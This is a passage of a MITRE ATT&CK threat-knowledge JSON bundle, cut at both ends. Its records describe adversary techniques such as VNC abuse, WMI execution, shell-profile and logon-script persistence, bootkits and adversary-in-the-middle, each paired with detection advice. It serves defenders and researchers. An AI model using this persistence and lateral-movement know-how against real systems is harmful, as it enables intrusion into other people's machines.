also third party utilities, such as 7-Zip, WinRAR, and WinZip, to perform similar activities.(Citation: 7zip Homepage)(Citation: WinRAR Homepage)(Citation: WinZip Homepage)","modified":"2022-04-20T17:17:48.612Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Archive via Utility","x_mitre_detection":"Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known archival utilities. This may yield a significant number of benign events, depending on how systems in the environment are typically used.\n\nConsider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"collection"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Process: Process Creation","Command: Command Execution","File: File Creation"],"x_mitre_system_requirements":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--01327cde-66c4-4123-bf34-5f258d59457b","type":"attack-pattern","created":"2020-02-11T18:28:44.950Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1021.005","url":"https://attack.mitre.org/techniques/T1021/005"},{"external_id":"CAPEC-555","source_name":"capec","url":"https://capec.mitre.org/data/definitions/555.html"},{"source_name":"The Remote Framebuffer Protocol","url":"https://datatracker.ietf.org/doc/html/rfc6143#section-7.2.2","description":"T. Richardson, J. Levine, RealVNC Ltd.. (2011, March). The Remote Framebuffer Protocol. Retrieved September 20, 2021."},{"source_name":"MacOS VNC software for Remote Desktop","url":"https://support.apple.com/guide/remote-desktop/set-up-a-computer-running-vnc-software-apdbed09830/mac","description":"Apple Support. (n.d.). Set up a computer running VNC software for Remote Desktop. Retrieved August 18, 2021."},{"source_name":"VNC Authentication","url":"https://help.realvnc.com/hc/en-us/articles/360002250097-Setting-up-System-Authentication","description":"Tegan. (2019, August 15). Setting up System Authentication. Retrieved September 20, 2021."},{"source_name":"Hijacking VNC","url":"https://int0x33.medium.com/day-70-hijacking-vnc-enum-brute-access-and-crack-d3d18a4601cc","description":"Z3RO. (2019, March 10). Day 70: Hijacking VNC (Enum, Brute, Access and Crack). Retrieved September 20, 2021."},{"source_name":"macOS root VNC login without authentication","url":"https://www.tenable.com/blog/detecting-macos-high-sierra-root-account-without-authentication","description":"Nick Miles. (2017, November 30). Detecting macOS High Sierra root account without authentication. Retrieved September 20, 2021."},{"source_name":"VNC Vulnerabilities","url":"https://www.bleepingcomputer.com/news/security/dozens-of-vnc-vulnerabilities-found-in-linux-windows-solutions/","description":"Sergiu Gatlan. (2019, November 22). Dozens of VNC Vulnerabilities Found in Linux, Windows Solutions. Retrieved September 20, 2021."},{"source_name":"Offensive Security VNC Authentication Check","url":"https://www.offensive-security.com/metasploit-unleashed/vnc-authentication/","description":"Offensive Security. (n.d.). VNC Authentication. Retrieved October 6, 2021."},{"source_name":"Attacking VNC Servers PentestLab","url":"https://pentestlab.blog/2012/10/30/attacking-vnc-servers/","description":"Administrator, Penetration Testing Lab. (2012, October 30). Attacking VNC Servers. Retrieved October 6, 2021."},{"source_name":"Havana authentication bug","url":"http://lists.openstack.org/pipermail/openstack/2013-December/004138.html","description":"Jay Pipes. (2013, December 23). Security Breach! Tenant A is seeing the VNC Consoles of Tenant B!. Retrieved October 6, 2021."},{"source_name":"Apple Unified Log Analysis Remote Login and Screen Sharing","url":"https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins","description":"Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] – Working From Home? Remote Logins. Retrieved August 19, 2021."},{"source_name":"Gnome Remote Desktop grd-settings","url":"https://gitlab.gnome.org/GNOME/gnome-remote-desktop/-/blob/9aa9181e/src/grd-settings.c#L207","description":"Pascal Nowack. (n.d.). Retrieved September 21, 2021."},{"source_name":"Gnome Remote Desktop gschema","url":"https://gitlab.gnome.org/GNOME/gnome-remote-desktop/-/blob/9aa9181e/src/org.gnome.desktop.remote-desktop.gschema.xml.in","description":"Pascal Nowack. (n.d.). Retrieved September 21, 2021."}],"modified":"2021-10-07T22:14:25.528Z","name":"VNC","description":"Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely control machines using Virtual Network Computing (VNC).  VNC is a platform-independent desktop sharing system that uses the RFB (“remote framebuffer”) protocol to enable users to remotely control another computer’s display by relaying the screen, mouse, and keyboard inputs over the network.(Citation: The Remote Framebuffer Protocol)\n\nVNC differs from [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) as VNC is screen-sharing software rather than resource-sharing software. By default, VNC uses the system's authentication, but it can be configured to use credentials specific to VNC.(Citation: MacOS VNC software for Remote Desktop)(Citation: VNC Authentication)\n\nAdversaries may abuse VNC to perform malicious actions as the logged-on user such as opening documents, downloading files, and running arbitrary commands. An adversary could use VNC to remotely control and monitor a system to collect data and information to pivot to other systems within the network. Specific VNC libraries/implementations have also been susceptible to brute force attacks and memory usage exploitation.(Citation: Hijacking VNC)(Citation: macOS root VNC login without authentication)(Citation: VNC Vulnerabilities)(Citation: Offensive Security VNC Authentication Check)(Citation: Attacking VNC Servers PentestLab)(Citation: Havana authentication bug)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"lateral-movement"}],"x_mitre_detection":"Use of VNC may be legitimate depending on the environment and how it’s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior using VNC.\n\nOn macOS systems <code>log show --predicate 'process = \"screensharingd\" and eventMessage contains \"Authentication:\"'</code> can be used to review incoming VNC connection attempts for suspicious activity.(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)\n\nMonitor for use of built-in debugging environment variables (such as those containing credentials or other sensitive information) as well as test/default users on VNC servers, as these can leave openings for adversaries to abuse.(Citation: Gnome Remote Desktop grd-settings)(Citation: Gnome Remote Desktop gschema)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Connection Creation","Logon Session: Logon Session Creation","Process: Process Creation"],"x_mitre_system_requirements":["VNC server installed and listening for connections."]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["@ionstorm"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","created":"2017-05-31T21:30:44.329Z","x_mitre_version":"1.2","external_references":[{"source_name":"mitre-attack","external_id":"T1047","url":"https://attack.mitre.org/techniques/T1047"},{"source_name":"FireEye WMI 2015","url":"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf","description":"Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016."},{"source_name":"FireEye WMI SANS 2015","url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf","description":"Devon Kerr. (2015). There's Something About WMI. Retrieved May 4, 2020."},{"source_name":"MSDN WMI","url":"https://msdn.microsoft.com/en-us/library/aa394582.aspx","description":"Microsoft. (n.d.). Windows Management Instrumentation. Retrieved April 27, 2016."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM) and [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) (WinRM).(Citation: MSDN WMI) Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.(Citation: MSDN WMI)(Citation: FireEye WMI 2015)\n\nAn adversary can use WMI to interact with local and remote systems and use it as a means to execute various behaviors, such as gathering information for Discovery as well as remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI SANS 2015) (Citation: FireEye WMI 2015)","modified":"2022-04-20T16:25:21.348Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Windows Management Instrumentation","x_mitre_detection":"Monitor network traffic for WMI connections; the use of WMI in environments that do not typically use WMI may be suspect. Perform process monitoring to capture command-line arguments of \"wmic\" and detect commands that are used to perform remote behavior. (Citation: FireEye WMI 2015)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_is_subtechnique":false,"x_mitre_data_sources":["Network Traffic: Network Connection Creation","Command: Command Execution","Process: Process Creation"],"x_mitre_system_requirements":[],"x_mitre_remote_support":true,"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Robert Wilson","Katie & Tony Lambert","Joe Gervais"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--01df3350-ce05-4bdf-bdf8-0a919a66d4a8","type":"attack-pattern","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1156","url":"https://attack.mitre.org/techniques/T1156"},{"source_name":"intezer-kaiji-malware","url":"https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/","description":"Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware turning to Golang. Retrieved December 17, 2020."}],"modified":"2020-12-22T15:49:33.947Z","name":"Malicious Shell Modification","description":"Adversaries may establish persistence through executing malicious commands triggered by a user’s shell. User shells execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command line interface or remotely logs in (such as SSH) a login shell is initiated. The login shell executes scripts from the system (/etc) and the user’s home directory (~/) to configure the environment. All login shells on a system use <code>/etc/profile</code> when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user’s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately. \n\nAdversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the <code>/etc/profile</code> and <code>/etc/profile.d</code> files (Citation: intezer-kaiji-malware). These files require root permissions and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into <code>~/.bash_profile</code>, <code>~/.bash_login</code>, or <code>~/.profile</code> (Rocke) which are sourced when a user opens a command line interface or connects remotely. Adversaries often use ~/.bash_profile since the system only executes the first file that exists in the listed order. Adversaries have also leveraged the <code>~/.bashrc</code> file (Tsunami, Rocke, Linux Rabbit, Magento) which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command line interface. Some malware targets the termination of a program to trigger execution (Cannon), adversaries can use the <code>~/.bash_logout</code> file to execute malicious commands at the end of a session(Pearl_shellbot). \n\nFor macOS, the functionality of this technique is similar but leverages zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using <code>/etc/profile</code>, <code>/etc/zshenv</code>, <code>/etc/zprofile</code>, and <code>/etc/zlogin</code>. The login shell then configures the user environment with <code>~/.zprofile</code> and <code>~/.zlogin</code>. The interactive shell uses the <code>~/.zshrc<code> to configure the user environment. Upon exiting, <code>/etc/zlogout</code> and <code>~/.zlogout</code> are executed. For legacy programs, macOS executes <code>/etc/bashrc</code> on startup.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"While users may customize their shell profile files, there are only certain types of commands that typically appear in these files. Monitor for abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network when user profiles are loaded during the login process.\n\nMonitor for changes to /ect/profile and /etc/profile.d, these files should only be modified by system administrators. MacOS users can leverage Apple’s Security Endpoint Framework using the ES_EVENT_TYPE_NOTIFY_WRITE(Citation: ESF_filemonitoring) function for monitoring these specific files. \n","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["User","Administrator"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","type":"attack-pattern","created":"2017-05-31T21:31:25.060Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1113","url":"https://attack.mitre.org/techniques/T1113"},{"external_id":"CAPEC-648","source_name":"capec","url":"https://capec.mitre.org/data/definitions/648.html"},{"source_name":"CopyFromScreen .NET","url":"https://docs.microsoft.com/en-us/dotnet/api/system.drawing.graphics.copyfromscreen?view=netframework-4.8","description":"Microsoft. (n.d.). Graphics.CopyFromScreen Method. Retrieved March 24, 2020."},{"url":"https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/","description":"Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.","source_name":"Antiquated Mac Malware"}],"modified":"2020-03-24T19:56:37.627Z","name":"Screen Capture","description":"Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as <code>CopyFromScreen</code>, <code>xwd</code>, or <code>screencapture</code>.(Citation: CopyFromScreen .NET)(Citation: Antiquated Mac Malware)\n","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"collection"}],"x_mitre_detection":"Monitoring for screen capture behavior will depend on the method used to obtain data from the operating system and write output files. Detection methods could include collecting information from unusual processes using API calls used to obtain image data, and monitoring for image files written to disk. The sensor data may need to be correlated with other events to identify malicious activity, depending on the legitimacy of this behavior within a given network environment.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: OS API Execution","Command: Command Execution"]},{"x_mitre_platforms":["Linux","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--02fefddc-fb1b-423f-a76b-7552dd211d4d","type":"attack-pattern","created":"2017-05-31T21:30:54.661Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1067","url":"https://attack.mitre.org/techniques/T1067"},{"url":"https://www.fireeye.com/content/dam/fireeye-www/regional/fr_FR/offers/pdfs/ig-mtrends-2016.pdf","description":"Mandiant. (2016, February). M-Trends 2016. Retrieved January 4, 2017.","source_name":"MTrends 2016"},{"url":"http://www.symantec.com/connect/blogs/are-mbr-infections-back-fashion","description":"Lau, H. (2011, August 8). Are MBR Infections Back in Fashion? (Infographic). Retrieved November 13, 2014.","source_name":"Lau 2011"}],"modified":"2020-03-20T19:53:25.628Z","name":"Bootkit","description":"A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: MTrends 2016)\n\nAdversaries may use bootkits to persist on systems at a layer below the operating system, which may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.\n\n### Master Boot Record\nThe MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011)\n\n### Volume Boot Record\nThe MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Perform integrity checking on MBR and VBR. Take snapshots of MBR and VBR and compare against known good samples. Report changes to MBR and VBR as they occur for indicators of suspicious activity and further analysis.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["Administrator","SYSTEM"]},{"x_mitre_platforms":["macOS","Windows","Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334","type":"attack-pattern","created":"2017-05-31T21:30:38.910Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1037","url":"https://attack.mitre.org/techniques/T1037"},{"external_id":"CAPEC-564","source_name":"capec","url":"https://capec.mitre.org/data/definitions/564.html"}],"modified":"2022-04-01T19:04:02.610Z","name":"Boot or Logon Initialization Scripts","description":"Adversaries may use scripts automatically executed at boot or logon initialization to establish persistence. Initialization scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server. These scripts can vary based on operating system and whether applied locally or remotely.  \n\nAdversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. \n\nAn adversary may also be able to escalate their privileges since some boot or logon initialization scripts run with higher privileges.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.","x_mitre_version":"2.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Windows Registry: Windows Registry Key Creation","Active Directory: Active Directory Object Modification","Command: Command Execution","File: File Creation","File: File Modification","Process: Process Creation"]},{"x_mitre_platforms":["Windows","macOS","Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Mayuresh Dani, Qualys","Daniil Yugoslavskiy, @yugoslavskiy, Atomic Threat Coverage project","NEC"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--035bb001-ab69-4a0b-9f6c-2de8b09e1b9d","created":"2020-02-11T19:07:12.114Z","x_mitre_version":"2.1","external_references":[{"source_name":"mitre-attack","external_id":"T1557","url":"https://attack.mitre.org/techniques/T1557"},{"source_name":"dns_changer_trojans","url":"https://www.trendmicro.com/vinfo/us/threat-encyclopedia/web-attack/125/how-dns-changer-trojans-direct-users-to-threats","description":"Abendan, O. (2012, June 14). How DNS Changer Trojans Direct Users to Threats. Retrieved October 28, 2021."},{"source_name":"taxonomy_downgrade_att_tls","url":"https://arxiv.org/abs/1809.05681","description":"Alashwali, E. S., Rasmussen, K. (2019, January 26). What's in a Downgrade? A Taxonomy of Downgrade Attacks in the TLS Protocol and Application Protocols Using TLS. Retrieved December 7, 2021."},{"source_name":"ad_blocker_with_miner","url":"https://securelist.com/ad-blocker-with-miner-included/101105/","description":"Kuzmenko, A.. (2021, March 10). Ad blocker with miner included. Retrieved October 28, 2021."},{"source_name":"mitm_tls_downgrade_att","url":"https://www.praetorian.com/blog/man-in-the-middle-tls-ssl-protocol-downgrade-attack/","description":"praetorian Editorial Team. (2014, August 19). Man-in-the-Middle TLS Protocol Downgrade Attack. Retrieved December 8, 2021."},{"source_name":"Rapid7 MiTM Basics","url":"https://www.rapid7.com/fundamentals/man-in-the-middle-attacks/","description":"Rapid7. (n.d.). Man-in-the-Middle (MITM) Attacks. Retrieved March 2, 2020."},{"source_name":"tlseminar_downgrade_att","url":"https://tlseminar.github.io/downgrade-attacks/","description":"Team Cinnamon. (2017, February 3). Downgrade Attacks. Retrieved December 9, 2021."},{"source_name":"ttint_rat","url":"https://blog.netlab.360.com/ttint-an-iot-remote-control-trojan-spread-through-2-0-day-vulnerabilities/","description":"Tu, L. Ma, Y. Ye, G. (2020, October 1). Ttint: An IoT Remote Access Trojan spread through 2 0-day vulnerabilities. Retrieved October 28, 2021."},{"url":"https://capec.mitre.org/data/definitions/94.html","source_name":"capec","external_id":"CAPEC-94"}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics)\n\nFor example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware.(Citation: ttint_rat)(Citation: dns_changer_trojans)(Citation: ad_blocker_with_miner) [Downgrade Attack](https://attack.mitre.org/techniques/T1562/010)s can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm.(Citation: mitm_tls_downgrade_att)(Citation: taxonomy_downgrade_att_tls)(Citation: tlseminar_downgrade_att)\n\nAdversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to [Impair Defenses](https://attack.mitre.org/techniques/T1562) and/or in support of a [Network Denial of Service](https://attack.mitre.org/techniques/T1498).","modified":"2022-04-19T18:22:28.290Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Adversary-in-the-Middle","x_mitre_detection":"Monitor network traffic for anomalies associated with known AiTM behavior. Consider monitoring for modifications to system configuration files involved in shaping network traffic flow.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"},{"kill_chain_name":"mitre-attack","phase_name":"collection"}],"x_mitre_is_subtechnique":false,"x_mitre_data_sources":["Application Log: Application Log Content","Network Traffic: Network Traffic Flow","Network Traffic: Network Traffic Content","Windows Registry: Windows Registry Key Modification","Service: Service Creation"],"x_mitre_system_requirements":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","created":"2017-05-31T21:30:35.733Z","x_mitre_version":"1.3","external_references":[{"source_name":"mitre-attack","external_id":"T1033","url":"https://attack.mitre.org/techniques/T1033"},{"url":"https://capec.mitre.org/data/definitions/577.html","source_name":"capec","external_id":"CAPEC-577"}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nVarious utilities and commands may acquire this information, including <code>whoami</code>. In macOS and Linux, the currently logged in user can be identified with <code>w</code> and <code>who</code>. On macOS the <code>dscl . list /Users | grep -v '_'</code> command can also be used to enumerate user accounts. Environment variables, such as <code>%USERNAME%</code> and <code>$USER</code>, may also be used to access this information.","modified":"2022-04-20T19:04:03.271Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"System Owner/User Discovery","x_mitre_detection":"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_is_subtechnique":false,"x_mitre_data_sources":["Active Directory: Active Directory Object Access","Network Traffic: Network Traffic Content","Network Traffic: Network Traffic Flow","File: File Access","Command: Command Execution","Process: Process Creation","Windows Registry: Windows Registry Key Access","Process: OS API Execution","Process: Process Access"],"x_mitre_system_requirements":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--0458aab9-ad42-4eac-9e22-706a95bafee2","type":"attack-pattern","created":"2020-09-30T16:37:40.271Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1583","url":"https://attack.mitre.org/techniques/T1583"},{"source_name":"TrendmicroHideoutsLease","description":"Max Goncharov. (2015, July 15). Criminal Hideouts for Lease: Bulletproof Hosting Services. Retrieved March 6, 2017.","url":"https://documents.trendmicro.com/assets/wp/wp-criminal-hideouts-for-lease.pdf"},{"source_name":"ThreatConnect Infrastructure Dec 2020","url":"https://threatconnect.com/blog/infrastructure-research-hunting/","description":"ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021."},{"source_name":"Mandiant SCANdalous Jul 2020","url":"https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation","description":"Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021."},{"source_name":"Koczwara Beacon Hunting Sep 2021","url":"https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2","description":"Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021."}],"modified":"2021-10-17T15:45:02.209Z","name":"Acquire Infrastructure","description":"Adversaries may buy, lease, or rent infrastructure that can be used during targeting. A wide variety of infrastructure exists for hosting and orchestrating adversary operations. Infrastructure solutions include physical or cloud servers, domains, and third-party web services.(Citation: TrendmicroHideoutsLease) Additionally, botnets are available for rent or purchase.\n\nUse of these infrastructure solutions allows an adversary to stage, launch, and execute an operation. Solutions may help adversary operations blend in with traffic that is seen as normal, such as contact to third-party web services. Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_detection":"Consider use of services that may aid in tracking of newly acquired infrastructure, such as WHOIS databases for domain registration information. \n\nOnce adversaries have provisioned infrastructure (ex: a server for use in command and control), internet scans may help proactively discover adversary acquired infrastructure. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Domain Name: Passive DNS","Internet Scan: Response Content","Internet Scan: Response Metadata","Domain Name: Domain Registration","Domain Name: Active DNS"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Gareth Phillips, Seek Ltd.","Casey Smith","Ricardo Dias","James_inthe_box, Me"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","created":"2020-01-23T18:03:46.248Z","x_mitre_version":"2.0","external_references":[{"source_name":"mitre-attack","external_id":"T1218.011","url":"https://attack.mitre.org/techniques/T1218/011"},{"source_name":"rundll32.exe defense evasion","url":"https://www.cynet.com/attack-techniques-hands-on/defense-evasion-techniques/","description":"Ariel silver. (2022, February 1). Defense Evasion Techniques. Retrieved April 8, 2022."},{"source_name":"Attackify Rundll32.exe Obscurity","url":"https://www.attackify.com/blog/rundll32_execution_order/","description":"Attackify. (n.d.). Rundll32.exe Obscurity. Retrieved August 23, 2021."},{"source_name":"This is Security Command Line 